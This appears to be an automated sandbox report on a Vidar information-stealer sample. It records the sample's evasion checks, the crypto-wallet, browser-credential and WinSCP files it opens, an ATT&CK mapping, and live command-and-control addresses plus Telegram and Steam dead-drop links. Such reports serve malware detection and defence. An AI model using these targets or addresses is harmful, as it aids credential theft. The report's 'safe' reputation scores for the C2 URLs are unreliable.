Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0040C8E0 wsprintfA,FindFirstFileA,_memset,lstrcat,StrCmpCA,StrCmpCA,lstrcpy,lstrcat,lstrcat,_memset,_memset,StrCmpCA,wsprintfA,wsprintfA,lstrlen,_strtok_s,PathMatchSpecA,CoInitialize,_strtok_s,PathMatchSpecA,lstrcpy,lstrcat,PathFindFileNameA,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,PathMatchSpecA,lstrcpy,lstrcat,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,CoInitialize,PathMatchSpecA,lstrcpy,lstrcat,PathFindFileNameA,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,lstrcpy,lstrcat,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00424960 FindFirstFileW,FindNextFileW,FindNextFileW,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004169A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0040AAC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00416BB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,_memset,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\

Source: file.exe, 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpcg
Source: file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BDISPLAYVMwareVMwareX3NS7I
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: DISPLAYVMware
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00430728 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041B050 StrCmpCA,StrCmpCA,StrCmpCA,_memset,lstrcat,lstrcat,CopyFileA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,GetProcessHeap,RtlAllocateHeap,StrCmpCA,lstrcat,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004352B7 SetUnhandledExceptionFilter,
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00430728 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00417FA0 _malloc,CreateToolhelp32Snapshot,CloseHandle,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe	Code function: GetProcessHeap,HeapAlloc,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,_memset,LocalFree,
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,
Source: C:\Users\user\Desktop\file.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,
Source: C:\Users\user\Desktop\file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,
Source: C:\Users\user\Desktop\file.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,wsprintfA,_memset,LocalFree,
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00420970 GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00420970 GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041F5B0 GetUserNameA,

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.file.exe.4100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.4100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Electrum-LTC
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: file.exe	String found in binary or memory: \Electrum\wallets\
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: JaxxLiberty
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: file.exe	String found in binary or memory: \Exodus\backups
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: default_wallet
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum"
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\.*2
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\9ufvw9sb.default-release\places.sqlite
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\9ufvw9sb.default-release\cookies.sqlite
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History

Source: Yara match	File source: 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.file.exe.4100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.4100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	41 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Native API	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	12 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	22 Software Packing	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Data Transfer Size Limits	115 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	66%	ReversingLabs	Win32.Ransomware.StopCrypt
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://mozilla.org0/	0%	URL Reputation	safe
http://195.201.254.123:6012/sp1.zip	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/sCodecs.dlls	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/m	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/Mu	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/0	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93k	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/sp1.zipn)	0%	Avira URL Cloud	safe
http://195.201.254.123:6012/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://195.201.254.123:6012/sp1.zip	false	Avira URL Cloud: safe	unknown
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199545993403	false		high
http://195.201.254.123:6012/	false	Avira URL Cloud: safe	unknown
https://t.me/vogogor	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://t.me/	file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/vogogorx	file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://t.me/vogogorv	file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://195.201.254.123:6012/Mu	file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.201.254.123:6012/sCodecs.dlls	file.exe, 00000001.00000002.3723888260.0000000004C90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0	file.exe, 00000001.00000002.3730149645.000000001198E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1564532439.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	false		high
http://195.201.254.123:6012/0	file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/files/autoit3/autoit-v3-setup.zipQ	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u321-b07/df5ad55fdd604472a86a45a217032c7d/jre-8u321-wind	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://t.me/vogogorracvotsp1.zipMozilla/5.0	file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/	93702365600485792059963927.1.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://t.me/vogogorL	file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dmicrosoft%26oq%3Dmic	05817041688375942296226764.1.dr	false		high
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j0i131i433i512j0i512j0i131i433i512l2j0	05817041688375942296226764.1.dr	false		high
https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://steamcommunity.com/profiles/76561199545993403update.zip	file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/https://www.google.com/chrome/Thu	file.exe, 00000001.00000003.1565422518.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	false		high
https://www.google.com/search?q=microsoft&oq=microsoft&gs_lcrp=EgZjaHJvbWUqEAgAEAAYgwEY4wIYsQMYgAQyE	05817041688375942296226764.1.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.3730836231.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoft	05817041688375942296226764.1.dr	false		high
http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93k	file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.1.dr	false		high
https://aka.ms/vs/17/release/vc_redist.x64.exeD	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://mozilla.org0/	file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	00440746450577075373182215.1.dr, 59242670612831660624168672.1.dr	false		high
https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245807_df5ad55fdd604472a86a45a217032c7dM	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
http://195.201.254.123:6012/sp1.zipn)	file.exe, 00000001.00000002.3698626677.00000000025E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	false		high
https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.zip	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://www.google.com/search?q=test&sourceid=chrome&ie=UTF-8test	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
http://195.201.254.123:6012/m	file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr	false		high
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B27E81B29	38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	false		high
https://support.mozilla.org/products/firefox	file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0Google	93702365600485792059963927.1.dr	false		high
https://www.google.com/favicon.ico	60379239670748708072323449.1.dr	false		high
https://ac.ecosia.org/autocomplete?q=	60379239670748708072323449.1.dr	false		high
https://www.autoitscript.com/site/autoit/downloads/	file.exe, 00000001.00000003.1536347021.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729994076.000000001157C000.00000004.00000020.00020000.00000000.sdmp, 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://www.google.com/chrome/Google	93702365600485792059963927.1.dr	false		high
https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/Sun	05817041688375942296226764.1.dr	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	05817041688375942296226764.1.dr	false		high
https://support.mozilla.org	77364074545019038892817732.1.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	60379239670748708072323449.1.dr	false		high
https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoftt	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.	file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	false		high
https://cdn.stubdownloader.services.mozilla.com/builds/firefox-stub/en-US/win/4b14f052f39ceffb32abd8	30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false
195.201.254.123	unknown	Germany		24940	HETZNER-ASDE	false

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1301138
